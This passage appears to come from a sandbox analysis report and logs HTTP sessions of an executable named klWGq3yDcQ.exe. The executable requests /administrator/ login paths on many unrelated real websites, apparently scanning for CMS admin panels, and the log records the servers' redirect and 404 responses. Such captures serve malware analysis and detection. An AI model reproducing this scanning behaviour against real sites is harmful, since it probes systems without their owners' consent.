Nov 26, 2023 06:59:29.722949982 CET	1033	IN	HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Sun, 26 Nov 2023 05:59:29 GMT Content-Type: text/html Last-Modified: Mon, 20 Feb 2023 14:02:48 GMT Transfer-Encoding: chunked Connection: keep-alive ETag: W/"63f37d88-574" Content-Encoding: gzip Data Raw: 32 63 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 54 5d 4f db 30 14 7d 47 e2 3f 5c 32 a1 6e 84 24 65 bc 6c 6d d2 49 b0 c2 34 c1 8a 44 a5 69 d2 5e 9c d8 49 0c 89 9d d9 4e 53 40 fc f7 dd 7c b8 b4 6c 9a 96 97 da c7 f7 e3 f8 dc e3 86 07 9f 17 e7 cb 1f 37 73 c8 4d 59 cc f6 f7 c2 e1 17 20 cc 19 a1 88 00 7e 61 c9 0c 81 24 27 4a 33 13 39 b5 49 bd 0f 8e 3d d3 e6 a1 60 60 1e 2a 16 39 86 ad 4d 90 68 6d 0f a1 ab 7b dc 57 01 88 25 7d d8 6c de 54 44 19 c1 d4 06 e0 a9 22 25 83 27 1b 8d c9 8c 67 b9 99 c0 c9 78 7c 38 7d 81 1b 4e 4d fe 07 5a 12 95 71 31 81 f1 56 64 45 28 e5 22 db 05 63 a9 28 53 bb 98 ac 4d c1 05 db 05 53 29 8c a7 f9 23 c2 af 18 ac 98 32 3c 21 85 47 0a 9e 61 cf 98 68 d6 e6 6f b5 8e 49 72 9f 29 59 0b 3a 01 a3 88 d0 78 5d 26 cc 26 e2 79 7f cf de 28 38 6a 85 81 27 90 58 37 2d 64 33 c9 39 a5 4c 4c e1 f9 28 e8 83 c2 a0 93 d9 6a de cf 03 e9 61 c5 c8 f9 b6 f8 ee 80 40 ed 22 87 ad 2b ae d8 46 ff 61 70 36 90 0b ca d6 c7 90 ca 02 9b 1c 03 29 0a 9b 77 b9 58 5c 5e cd cf 16 4b 3b b9 ff ce 54 32 96 e6 a5 e1 81 e7 c1 45 57 1f 75 87 6b f4 8d b7 24 19 a4 7c cd 34 68 94 0c 61 8f 6b 5d e3 56 0a 28 65 cc d1 3d 94 ad 78 82 88 e7 fd fd 86 dd c4 a3 3e ca eb 36 53 e0 82 1b 8e 23 68 8b b2 e8 c4 1f 4f a1 24 6b 5e d6 e5 36 54 6b a6 ba 3d 89 31 6a 3c b5 17 5e 71 d6 54 52 99 fe be 61 b0 71 7b d8 ce c2 b2 a0 7c 05 9c 46 ce 60 55 67 16 06 08 d9 53 9d 28 5e 99 6d eb df 91 15 e9 51 ab 23 00 95 49 5d e2 9c fc 46 71 c3 de da a1 b7 ef aa fd 46 10 fe b3 0e 14 44 64 35 c9 70 b8 5f b1 fa 6d d7 d3 c1 34 5b c8 c5 b5 56 49 e4 04 81 66 54 22 d5 7b d4 d8 4f 64 19 a4 aa 6c b7 c1 76 70 83 26 90 8d 5f c8 84 18 2e 85 9f 4b 6d 00 6b ec 04 8d 6e ef 99 78 94 ea e4 e3 76 ea 28 68 ab f9 77 fa 53 cc 52 a9 d8 19 2a 35 17 f4 cb f2 fa 2a 3a 3c 3d af 0e 4f e7 cb 9c 6b 97 ca 92 70 e1 e2 aa 62 a2 7d 7f 2e 3a 9f 35 a4 70 a5 72 73 a2 dd de a5 d4 77 6f 0a 86 2f c7 4d d0 a0 24 31 ae c9 99 4d ae 94 5c 71 7c a6 6e c3 4d ee fe 42 bb b4 6c b5 8f 7d 0e df 5f b4 ad 1c 98 bd 52 21 fc 19 f4 52 ce 46 f0 6e 3a 08 84 2f a7 93 6c 18 da f0 9c aa 59 cb 14 67 d3 32 05 5c 0d 4c 61 60 0a 52 01 32 05 cb 14 7a a6 30 30 05 64 6a 93 2d 53 68 99 c2 0b d3 30 a8 ba 9e 61 30 38 0a 4d d6 fe c9 fe 06 fb 78 b3 30 74 05 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ceT]O0}G?\2n$elmI4Di^INS@\|l7sMY ~a$'J39I=``9Mhm{W%}lTD"%'gx\|8}NMZq1VdE("c(SMS)#2<!GahoIr)Y:x]&&y(8j'X7-d39LL(ja@"+Fap6)wX\^K;T2EWuk$\|4hak]V(e=x>6S#hO$k^6Tk=1j<^qTRaq{\|F`UgS(^mQ#I]FqFDd5p_m4[VIfT"{Odlvp&_.Kmknxv(hwSR5*:<=Okpb}.:5prswo/M$1M\q\|nMBl}_R!RFn:/lYg2\La`R2z00dj-Sh0a08Mx0t0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	51756	78.128.62.138	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:29.135215998 CET	232	OUT	GET /administrator/ HTTP/1.1 Host: integraledu.hr Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:29.336216927 CET	584	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:29 GMT Server: Apache Location: https://integraledu.hr/administrator/ Content-Length: 309 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 6e 74 65 67 72 61 6c 65 64 75 2e 68 72 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 69 6e 74 65 67 72 61 6c 65 64 75 2e 68 72 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://integraledu.hr/administrator/">here</a>.</p><hr><address>Apache Server at integraledu.hr Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	51888	162.241.224.218	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:29.184618950 CET	229	OUT	GET /administrator/ HTTP/1.1 Host: gasp-ga.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:29.488620043 CET	280	IN	HTTP/1.1 409 Conflict Date: Sun, 26 Nov 2023 05:59:29 GMT Server: Apache Content-Length: 83 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	52339	216.250.121.106	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:29.239382029 CET	230	OUT	GET /administrator/ HTTP/1.1 Host: wasserman.us Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:29.374069929 CET	862	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Date: Sun, 26 Nov 2023 05:59:29 GMT Server: Apache X-Frame-Options: deny Content-Encoding: gzip Data Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a 10 d4 95 12 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 86 b8 24 97 68 e7 e3 bd dd f7 66 1c 5f 7e 48 df 2f 7f dc df 40 e5 9a fa fa 22 ee ff 20 ae 50 c8 eb 0b 80 b8 41 27 20 af 84 b1 e8 92 a0 75 45 f8 36 f0 09 eb 76 35 82 db ad 30 09 1c 6e 5d 94 5b eb 33 1e 6a 0c 99 96 bb 31 bc 58 09 e3 14 9a 31 50 61 44 83 f0 9b 41 8f 7f 15 52 59 b9 d9 d5 74 fa 72 7e 92 dc 90 74 d5 33 b9 46 98 92 d4 6c 7a da b5 12 52 92 2a 87 52 99 36 12 cd 50 46 b7 ae 26 85 43 a9 42 2b 17 5a fa 85 cf dc 64 8d c6 51 2e ea 50 d4 54 aa 59 26 2c 76 50 a7 17 cb 44 fe 58 1a dd 2a 39 73 46 28 cb ea a0 72 c7 75 7f 8e 44 e8 64 1c 10 4d 33 65 51 eb cd ac 22 29 51 9d 22 c4 91 37 e8 89 87 fc 06 e6 4a 82 bb f4 7b 00 8a bd 48 02 dc ae c8 60 6f db de e9 43 15 29 89 db 31 14 ba 66 96 31 88 ba 3e 34 dd a6 e9 ed 97 9b 77 e9 b2 9f 83 7e 40 ce b7 19 9d 69 b7 a7 ba 0c 43 f8 e8 91 d9 25 f8 ca 23 16 2e 45 09 05 6d d1 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 4d 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a9 69 9b a7 a1 d6 a2 f1 67 91 71 d5 74 7e 78 e7 9a 70 b3 d2 c6 75 cf 8c a3 fd 42 c4 9d 1f 9e 5e d2 1a 48 26 c1 7e c0 7b 31 22 8e fa ac cd 0d ad dc d3 f5 78 10 6b d1 47 fb 2d 91 3a 6f 1b 36 64 b2 31 e4 f0 d5 91 e9 87 05 19 c5 ff c5 81 5a a8 b2 15 25 3b f9 99 d1 17 9e 33 18 0d 42 1d 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 47 d6 7a 92 eb 26 2a 4c d3 1d a3 73 fd 1b 1e 0d bd 99 d4 3a 17 8e b4 9a 54 da 3a 60 d8 b3 8d a3 4f e9 5d ba b8 ef 29 bf 2d ce f1 8c a2 ee 3a 93 07 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ee 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9a 51 15 c5 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCPc{Z{7]gN$hf_~H/@" PA' uE6v50n][3j1X1PaDARYtr~t3FlzRR6PF&CB+ZdQ.PTY&,vPDX9sF(ruDdM3eQ")Q"7J{H`oC)1f1>4w~@iC%#.Eme!9-Fg&qM9GpU~P$9"GJd:Fligqt~xpuB^H&~{1"xkG-:o6d1Z%;3B <\|Gz&Ls:T:`O])-:RFBW+}c_Q0
Nov 26, 2023 06:59:29.546844959 CET	284	OUT	GET /administrator/index.php HTTP/1.1 Host: wasserman.us Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://wasserman.us/administrator/
Nov 26, 2023 06:59:29.698478937 CET	862	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Date: Sun, 26 Nov 2023 05:59:29 GMT Server: Apache X-Frame-Options: deny Content-Encoding: gzip Data Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a 10 d4 95 12 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 86 b8 24 97 68 e7 e3 bd dd f7 66 1c 5f 7e 48 df 2f 7f dc df 40 e5 9a fa fa 22 ee ff 20 ae 50 c8 eb 0b 80 b8 41 27 20 af 84 b1 e8 92 a0 75 45 f8 36 f0 09 eb 76 35 82 db ad 30 09 1c 6e 5d 94 5b eb 33 1e 6a 0c 99 96 bb 31 bc 58 09 e3 14 9a 31 50 61 44 83 f0 9b 41 8f 7f 15 52 59 b9 d9 d5 74 fa 72 7e 92 dc 90 74 d5 33 b9 46 98 92 d4 6c 7a da b5 12 52 92 2a 87 52 99 36 12 cd 50 46 b7 ae 26 85 43 a9 42 2b 17 5a fa 85 cf dc 64 8d c6 51 2e ea 50 d4 54 aa 59 26 2c 76 50 a7 17 cb 44 fe 58 1a dd 2a 39 73 46 28 cb ea a0 72 c7 75 7f 8e 44 e8 64 1c 10 4d 33 65 51 eb cd ac 22 29 51 9d 22 c4 91 37 e8 89 87 fc 06 e6 4a 82 bb f4 7b 00 8a bd 48 02 dc ae c8 60 6f db de e9 43 15 29 89 db 31 14 ba 66 96 31 88 ba 3e 34 dd a6 e9 ed 97 9b 77 e9 b2 9f 83 7e 40 ce b7 19 9d 69 b7 a7 ba 0c 43 f8 e8 91 d9 25 f8 ca 23 16 2e 45 09 05 6d d1 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 4d 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a9 69 9b a7 a1 d6 a2 f1 67 91 71 d5 74 7e 78 e7 9a 70 b3 d2 c6 75 cf 8c a3 fd 42 c4 9d 1f 9e 5e d2 1a 48 26 c1 7e c0 7b 31 22 8e fa ac cd 0d ad dc d3 f5 78 10 6b d1 47 fb 2d 91 3a 6f 1b 36 64 b2 31 e4 f0 d5 91 e9 87 05 19 c5 ff c5 81 5a a8 b2 15 25 3b f9 99 d1 17 9e 33 18 0d 42 1d 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 47 d6 7a 92 eb 26 2a 4c d3 1d a3 73 fd 1b 1e 0d bd 99 d4 3a 17 8e b4 9a 54 da 3a 60 d8 b3 8d a3 4f e9 5d ba b8 ef 29 bf 2d ce f1 8c a2 ee 3a 93 07 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ee 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9a 51 15 c5 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCPc{Z{7]gN$hf_~H/@" PA' uE6v50n][3j1X1PaDARYtr~t3FlzRR6PF&CB+ZdQ.PTY&,vPDX9sF(ruDdM3eQ")Q"7J{H`oC)1f1>4w~@iC%#.Eme!9-Fg&qM9GpU~P$9"GJd:Fligqt~xpuB^H&~{1"xkG-:o6d1Z%;3B <\|Gz&Ls:T:`O])-:RFBW+}c_Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	53718	104.26.12.245	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:29.721355915 CET	233	OUT	GET /administrator/ HTTP/1.1 Host: hightideinc.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:29.854559898 CET	703	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:29 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Sun, 26 Nov 2023 06:59:29 GMT Location: https://hightideinc.com/administrator/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Jsp41%2BNbbiGd7kKn%2BUl54BRc2s7VXYHMmRs1aHMYMMlOeoijXSG2K2gMGeH9ZN6Zgm2dkdzEPRxGv8JXFCcRhGBY8b2%2FAIkQyiv39WgqTnS8ynFg2nYS9q00hmTEBLJ0%2Bg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 82bfe7dafa801769-IAD Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Nov 26, 2023 06:59:29.896070004 CET	242	OUT	GET /administrator/index.php HTTP/1.1 Host: hightideinc.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:30.023570061 CET	712	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:29 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Sun, 26 Nov 2023 06:59:29 GMT Location: https://hightideinc.com/administrator/index.php Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hhn3wHBXiiChp7q13y5fEhOeY7gbjuNbzbvLVS3TMULcDtQWLfQa7P6X%2F55506M%2FC5zf9e2dfvt3qY0MerxmRzp5F%2FF7O2XdDNpvhkg7jUbIX6U%2BEnqsV2BOPcw8nIJcYg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 82bfe7dc1b101769-IAD Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	53733	3.234.162.143	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:29.721661091 CET	227	OUT	GET /administrator/ HTTP/1.1 Host: t1eng.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:29.815495968 CET	1340	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1238 date: Sun, 26 Nov 2023 05:59:29 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 20 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 66 66 3b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" href="http://
Nov 26, 2023 06:59:29.815511942 CET	281	IN	Data Raw: 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 Data Ascii: www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>
Nov 26, 2023 06:59:29.816031933 CET	278	OUT	GET /administrator/index.php HTTP/1.1 Host: t1eng.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://t1eng.com/administrator/
Nov 26, 2023 06:59:29.909394026 CET	1340	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1238 date: Sun, 26 Nov 2023 05:59:29 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 